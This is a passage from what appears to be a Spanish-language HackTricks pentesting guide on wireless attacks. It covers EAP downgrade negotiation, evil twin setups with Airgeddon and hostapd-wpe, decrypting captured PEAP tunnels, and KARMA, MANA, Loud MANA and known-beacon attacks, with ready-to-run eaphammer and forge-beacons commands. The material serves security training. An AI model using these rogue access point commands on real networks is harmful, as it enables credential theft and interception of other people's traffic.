GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Esta es la metodología predeterminada para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débil a más fuerte:

--negotiate weakest

O también podrías usar:

  • --negotiate gtc-downgrade para usar una implementación de GTC downgrade altamente eficiente (contraseñas en texto plano)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
  • Encuentra más información en la wiki

Usando Airgeddon

Airgeddon puede usar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder capturar al usuario y el MD5 de la contraseña. Luego, el atacante puede intentar descifrar la contraseña.
Airgeddon te ofrece la posibilidad de un ataque continuo de Evil Twin (ruidoso) o solo crear el ataque Evil hasta que alguien se conecte (suave).

Depurando túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins

Este método fue probado en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS

Dentro de la configuración de hostapd-wpe comenta la línea que contiene dh_file (de dh_file=/etc/hostapd-wpe/certs/dh a #dh_file=/etc/hostapd-wpe/certs/dh)
Esto hará que hostapd-wpe intercambie claves usando RSA en lugar de DH, por lo que podrás descifrar el tráfico más tarde conociendo la clave privada del servidor.

Ahora inicia el Evil Twin usando hostapd-wpe con esa configuración modificada como de costumbre. Además, inicia wireshark en la interfaz que está realizando el ataque de Evil Twin.

Ahora o más tarde (cuando ya hayas capturado algunas intenciones de autenticación) puedes agregar la clave RSA privada a wireshark en: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Agrega una nueva entrada y completa el formulario con estos valores: Dirección IP = cualquier -- Puerto = 0 -- Protocolo = data -- Archivo de clave (selecciona tu archivo de clave, para evitar problemas selecciona un archivo de clave sin estar protegido por contraseña).

Y mira la nueva pestaña "TLS descifrado":

KARMA, MANA, Loud MANA y ataque de balizas conocidas

Listas negras/blancas de ESSID y MAC

Diferentes tipos de Listas de Filtros de Control de Acceso a Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) malicioso:

  1. Lista blanca basada en MAC:
  • El AP malicioso solo responderá a solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados.
  1. Lista negra basada en MAC:
  • El AP malicioso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo que el AP malicioso sea invisible para esos dispositivos específicos.
  1. Lista blanca basada en SSID:
  • El AP malicioso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuya Lista de Redes Preferidas (PNLs) no contenga esos ESSIDs.
  1. Lista negra basada en SSID:
  • El AP malicioso no responderá a solicitudes de sondeo para los ESSIDs específicos en la lista negra, haciéndolo invisible para dispositivos que buscan esas redes particulares.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Este método permite a un atacante crear un punto de acceso (AP) malicioso que responde a todas las solicitudes de sondeo de dispositivos que buscan conectarse a redes. Esta técnica engaña a los dispositivos para que se conecten al AP del atacante al imitar las redes que los dispositivos están buscando. Una vez que un dispositivo envía una solicitud de conexión a este AP malicioso, completa la conexión, llevando al dispositivo a conectarse erróneamente a la red del atacante.

MANA

Luego, los dispositivos comenzaron a ignorar las respuestas de red no solicitadas, reduciendo la efectividad del ataque karma original. Sin embargo, se introdujo un nuevo método, conocido como el ataque MANA, por Ian de Villiers y Dominic White. Este método implica que el AP malicioso captura las Listas de Redes Preferidas (PNL) de los dispositivos al responder a sus solicitudes de sondeo de difusión con nombres de red (SSIDs) previamente solicitados por los dispositivos. Este ataque sofisticado elude las protecciones contra el ataque karma original al explotar la forma en que los dispositivos recuerdan y priorizan las redes conocidas.

El ataque MANA opera monitoreando tanto las solicitudes de sondeo dirigidas como las de difusión de los dispositivos. Para las solicitudes dirigidas, registra la dirección MAC del dispositivo y el nombre de la red solicitada, añadiendo esta información a una lista. Cuando se recibe una solicitud de difusión, el AP responde con información que coincide con cualquiera de las redes en la lista del dispositivo, incitando al dispositivo a conectarse al AP malicioso.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Un ataque Loud MANA es una estrategia avanzada para cuando los dispositivos no utilizan sondeos dirigidos o cuando sus Listas de Redes Preferidas (PNL) son desconocidas para el atacante. Funciona sobre el principio de que los dispositivos en la misma área probablemente compartan algunos nombres de red en sus PNL. En lugar de responder de manera selectiva, este ataque transmite respuestas de sondeo para cada nombre de red (ESSID) encontrado en las PNL combinadas de todos los dispositivos observados. Este enfoque amplio aumenta la posibilidad de que un dispositivo reconozca una red familiar e intente conectarse al Punto de Acceso (AP) malicioso.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Cuando el Loud MANA attack puede no ser suficiente, el Known Beacon attack presenta otro enfoque. Este método fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de ESSIDs potenciales derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción --loud para un intento más agresivo de atrapar dispositivos.

Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs dentro de una lista son cargados (también podrías combinar esto con --loud para crear un ataque Loud MANA + Known beacons):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Ataque de Beacon Burst Conocido

El ataque de Beacon Burst Conocido implica la transmisión rápida de tramas de beacon para cada ESSID listado en un archivo. Esto crea un entorno denso de redes falsas, aumentando considerablemente la probabilidad de que los dispositivos se conecten al AP malicioso, especialmente cuando se combina con un ataque MANA. Esta técnica aprovecha la velocidad y el volumen para abrumar los mecanismos de selección de red de los dispositivos.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin la necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión.

La seguridad para las conexiones Wi-Fi Direct se establece a través de Wi-Fi Protected Setup (WPS), que admite varios métodos para emparejamiento seguro, incluyendo:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

Estos métodos, particularmente la entrada de PIN, son susceptibles a las mismas vulnerabilidades que WPS en redes Wi-Fi tradicionales, convirtiéndolos en objetivos para vectores de ataque similares.

EvilDirect Hijacking

EvilDirect Hijacking es un ataque específico de Wi-Fi Direct. Refleja el concepto de un ataque Evil Twin pero se dirige a las conexiones Wi-Fi Direct. En este escenario, un atacante se hace pasar por un propietario de grupo legítimo con el objetivo de engañar a los dispositivos para que se conecten a una entidad maliciosa. Este método se puede ejecutar utilizando herramientas como airbase-ng especificando el canal, ESSID y dirección MAC del dispositivo suplantado:

References

TODO: Echa un vistazo a https://github.com/wifiphisher/wifiphisher (login con facebook e imitacionde WPA en captive portals)

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}